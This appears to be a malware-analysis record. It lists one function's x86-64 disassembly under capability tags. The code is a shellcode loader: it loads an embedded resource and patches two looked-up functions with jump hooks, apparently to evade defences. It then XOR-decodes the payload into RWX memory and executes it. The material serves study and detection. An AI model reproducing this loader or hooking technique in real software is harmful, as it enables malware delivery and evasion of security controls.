Function at 0x140003240
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x40
mov rax, qword [0x140033128]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea r8, str.CSGCERT
mov edx, 0x66
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
lea rdx, [0x140002b40]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140002c30]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
lea rcx, [0x1400258ad]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140003373
lea rdx, [0x1400258a7]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003373
mov r14, rax
mov dword [0x140033c74], 0xc
mov dword [rsp + 0x34], 0
lea r15, [rsp + 0x34]
mov edx, 0xc
mov rcx, rax
mov r8d, 0x40
mov r9, r15
call qword [0x140033c98]
mov eax, dword [r14 + 8]
mov dword [0x140033c70], eax
mov rax, qword [r14]
mov qword [0x140033c68], rax
mov word [r14], 0xb848
lea rax, [0x140002cb0]
mov qword [r14 + 2], rax
mov word [r14 + 0xa], 0xe0ff
mov r8d, dword [rsp + 0x34]
mov edx, 0xc
mov rcx, r14
mov r9, r15
call qword [0x140033c98]
lea rcx, [0x1400258ad]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140003411
lea rdx, [0x1400258ba]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003411
mov r14, rax
mov dword [0x140033c84], 0xc
mov dword [rsp + 0x34], 0
lea r15, [rsp + 0x34]
mov edx, 0xc
mov rcx, rax
mov r8d, 0x40
mov r9, r15
call qword [0x140033c98]
mov eax, dword [r14 + 8]
mov dword [0x140033c80], eax
mov rax, qword [r14]
mov qword [0x140033c78], rax
mov word [r14], 0xb848
lea rax, [0x140002e70]
mov qword [r14 + 2], rax
mov word [r14 + 0xa], 0xe0ff
mov r8d, dword [rsp + 0x34]
mov edx, 0xc
mov rcx, r14
mov r9, r15
call qword [0x140033c98]
mov r14d, ebp
xor ecx, ecx
mov rdx, r14
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov rcx, rax
mov rdx, r12
mov r8, r14
call fcn.1400054f0
test ebp, ebp
jle 0x140003539
lea rax, [r14 + r15]
dec rax
lea rcx, [0x140033114]
cmp rax, rcx
jb 0x140003495
lea rax, [0x140033117]
cmp r15, rax
ja 0x140003495
mov rax, r14
neg rax
xor ecx, ecx
mov rdx, r15
nop
movzx r8d, byte [rdx]
xor r8b, byte [0x140033114]
movzx r8d, r8b
add r8d, ecx
mov byte [rdx], r8b
dec rcx
inc rdx
cmp rax, rcx
jne 0x140003470
jmp 0x140003539
mov eax, dword [0x140033114]
mov ecx, 0xfffffff0
and rcx, r14
je 0x140003510
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor edx, edx
movdqa xmm1, xmmword [0x140025870]
xor r8d, r8d
nop word cs:[rax + rax]
movdqu xmm2, xmmword [r15 + r8]
pxor xmm2, xmm0
movzx edx, dl
movd xmm3, edx
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0
pshufd xmm3, xmm3, 0
paddb xmm3, xmm2
paddb xmm3, xmm1
movdqu xmmword [r15 + r8], xmm3
add r8, 0x10
add dl, 0xf0
cmp r8, rcx
jb 0x1400034d0
cmp rcx, r14
jne 0x140003512
jmp 0x140003539
xor ecx, ecx
mov edx, ecx
neg dl
nop word cs:[rax + rax]
movzx r8d, byte [r15 + rcx]
xor r8b, al
add r8b, dl
mov byte [r15 + rcx], r8b
inc rcx
dec dl
cmp r14, rcx
jne 0x140003520
mov r9, qword [0x140033cb0]
mov r8d, dword [0x140033cc8]
lea rcx, [0x140033cb8]
mov rdx, r15
call fcn.140001030
lea r9, [0x140033c88]
mov rcx, r15
mov rdx, r14
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r15
mov r14, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call r14
mov rcx, rdi
call r14
mov rcx, rsi
call r14
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000d7e0
mov eax, 1
add rsp, 0x40
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret